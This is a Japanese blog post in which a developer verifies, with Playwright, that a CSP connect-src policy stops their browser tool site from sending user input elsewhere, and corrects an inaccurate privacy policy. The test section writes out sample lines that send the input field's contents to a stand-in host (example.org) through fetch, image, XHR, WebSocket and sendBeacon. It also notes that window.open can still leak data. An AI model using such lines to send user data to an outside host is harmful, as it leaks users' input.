「入力はサーバーに送りません」を、自分のサイトで検証したら、嘘が1件見つかった
TL;DR
- ブラウザ内で完結するツール集(猫の手道具箱)を作っています。「入力はサーバーに送りません」と書くだけでは信用されないので、ブラウザの仕組み(CSP)で送れないようにして、実際に送れないことをテストしました
-
fetch/XMLHttpRequest/<img>/ WebSocket /sendBeaconは、許可していない宛先に対してすべてブロックされました(実測、後述) - 検証の途中で、プライバシーポリシーの「入力は送信しない」が、2つのツールについては事実と違うことに気づいて訂正しました
- CSP が止めないもの(
window.openなど)もあります。「万能の保証」ではない点も書きます
背景: 「送りません」は、書くだけでは意味がない
私は社内SEで、障害対応中に「ログやJSONをどこかのWebツールに貼る」場面が多くあります。
そのとき一番引っかかるのが「この内容は、どこかのサーバーに送られていないか?」です。
自分でツール集を作るなら、ここを「書いてあるから信じて」ではなく「確かめられる」形にしたいと考えました。
やったことは次の3つです。
- ブラウザに「許可した宛先以外へは通信しない」と約束させる(CSP)
- その約束が本当に効いているか、本番に対して試す
- 試す過程で見つかった、実態とのズレを直す
1. CSP の connect-src で通信先を絞る
Content Security Policy(CSP)の connect-src は、fetch や XMLHttpRequest、WebSocket などの宛先の許可リストです。
ここに書いていないサーバーへは、ページのスクリプトから通信できません。
このサイトでは、全ページの <head> で次のように設定しています(抜粋)。
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
connect-src 'self' data: blob:
https://cloudflare-dns.com
https://*.google-analytics.com https://*.analytics.google.com
https://*.googletagmanager.com https://stats.g.doubleclick.net;
img-src 'self' data: blob: https://*.google-analytics.com https://*.googletagmanager.com;
object-src 'none'; base-uri 'self'; …">
許可しているのは、自サイト、アクセス解析(Google Analytics)、そして SPF 検証ツールが使う Cloudflare の DNS over HTTPS だけです。
入力内容を扱うツールが、任意のサーバーへ内容を送ることはできない、というのがこの設定の狙いです。
HTTP ヘッダーではなく <meta> にした理由
本来 CSP は HTTP ヘッダーで配信するのが基本です。
ただ、このサイトのデプロイは「public/* を本番にコピーする」方式で、先頭が . のファイル(.htaccess)が本番に届きません。
<meta> なら、git で管理できて、ローカルでも本番と同じ条件で検証できます。
(<meta> 版には、frame-ancestors が使えないなど、ヘッダー版にできない制限があります。この点は後述します。)
2. 本当に止まるのか、本番で試す
設定を書いただけでは、「効いている」ことにはなりません。
Playwright で本番のページを開き、ページ内から許可していない宛先(example.org)へ、入力欄の内容を送ってみます。
// 本番の JSON 整形ツールを開き、ページのコンテキストで実行する
await fetch('https://example.org/collect', { method: 'POST', body: document.getElementById('inputJson').value });
const img = new Image(); img.src = 'https://example.org/p.png?d=secret';
const xhr = new XMLHttpRequest(); xhr.open('POST', 'https://example.org/x'); xhr.send('secret');
new WebSocket('wss://example.org/ws');
navigator.sendBeacon('https://example.org/b', 'secret');
結果です(headless Chromium、2026-11-09、本番)。
| 手段 | 結果 |
|---|---|
fetch |
TypeError: Failed to fetch(CSP 違反) |
<img> |
ブロック(CSP 違反) |
XMLHttpRequest |
ブロック(status 0、CSP 違反) |
WebSocket |
ブロック(CSP 違反) |
sendBeacon |
true を返すが、実際にはブロック(コンソールに CSP 違反) |
sendBeacon は「キューに積んだ」という意味で true を返すので、戻り値だけでは判断できません。
Playwright で requestfailed と response を見ると、example.org への要求は csp で失敗し、example.org からの応答は0件でした。
注意: Playwright の
requestイベントは、CSP でブロックされる要求でも発火します。
「リクエストが発生した」ことと「外に出た」ことは別なので、response/requestfailedまで見ないと誤判定します。
手元でも同じことを確かめられます。ブラウザの開発者ツールの Network タブを開いたままツールを使い、入力内容を含む通信が出ないことを見てください。
3. 検証して見つかった「実態とのズレ」
3-1. 「入力は送信しない」が、2つのツールでは嘘だった
CSP を入れたあと、プライバシーポリシーの記載を全ツールの実際の通信と突き合わせました。
すると、ネットワークツール(DNS 検索)と逆引きDNS検索は、入力したドメイン名・IPアドレスを自サイトのサーバーに送って、サーバー側で DNS 問い合わせをしていることがわかりました。
当時のプライバシーポリシーは「入力内容は送信しない」と書いており、この2つについては不正確でした。
そこで、次のように直しました。
- ポリシーに「入力内容が外部に送信される例外のツール」の表を追加(送信される内容・送信先・保存の有無)
- アクセスログの保管期間(週次ローテーション、4世代、約1か月)も明記
「ほとんどのツールは送らない。例外はこの表のとおり」と言い切るほうが、「全部送らない」と言うより、よほど信頼できると考えています。
3-2. 本番で動いていなかったツールがあった
全ツールページを、PHP が出力した後の HTML のまま Playwright で開いて、JS エラーと CSP 違反を調べました。
その結果、あるツール(ペイロード生成ツール)は、JS の文字列の中に </script> と書かれていて、HTML パーサーがそこでスクリプトを終了させてしまい、本番で動いていなかったことがわかりました。
<\/script> に直して解決しました。
ソースを眺めるだけでは気づけず、「出力後の HTML をブラウザで読む」検査で初めて見つかりました。
この検査は、その後 check.sh(push 前に走る自動チェック)に組み込んでいます。
最終的に、57ページを検査して CSP 違反 0 件、JS エラー 0 件でした。
4. CSP で止められないもの(限界)
CSP は便利ですが、万能ではありません。ここを書かないのはフェアではないので、書いておきます。
-
画面遷移やフォーム送信は止まらない:
window.open('https://example.org/?d=...')は通ります(上のテストでも確認)。URL に入力を載せて別サイトを開く、という漏らし方は CSP では防げません。「通信しない」と書くなら、ツールのコード側でもそういう挙動が無いことを確認する必要があります - アクセス解析は動いている: GA4 を使っています。入力内容は送りませんが、「完全に通信なし」ではありません。ポリシーにそのまま書いています
-
'unsafe-inline'が必要: 既存ツールがインラインスクリプトを使っているため、現状は許可しています(将来は nonce 化したい) -
<meta>版の限界:frame-ancestorsなど、ヘッダーでしか効かない指令があります
つまり CSP は、「コードにバグや悪意があっても、通信先を絞っておけば被害を限定できる」ための安全網です。
コード自体が入力を外に出していないことの証明には、別途、通信を見るテスト(上の Network タブや Playwright)が必要です。
おまけ: 共有リンクも「送らない」設計に
先日、入力内容をリンクにして共有する機能を入れました。
入力を圧縮して URL の # 以降に入れる方式です。# 以降はブラウザからサーバーに送られないので、この機能も「入力はサーバーに送らない」方針と両立します。
ただし、アクセス解析(GA4)は、そのままだと # 以降を含むページ URL を送る可能性があるため、解析に渡すページ URL から # 以降を除く設定にしています。
まとめ
- 「送りません」は、書くだけでなく、ブラウザに約束させて(CSP)、実際に止まることをテストする
- 検証すると、自分の説明が間違っていた箇所が見つかる。見つかったら、隠さず表にして直す
- CSP が止められないもの(画面遷移、アクセス解析、など)も、一緒に書く
ツール集はこちらです: https://meowassist.net/
(以前書いた紹介記事のURLは、サイトの構成変更で変わっています。旧URLは新しいページへ転送されます)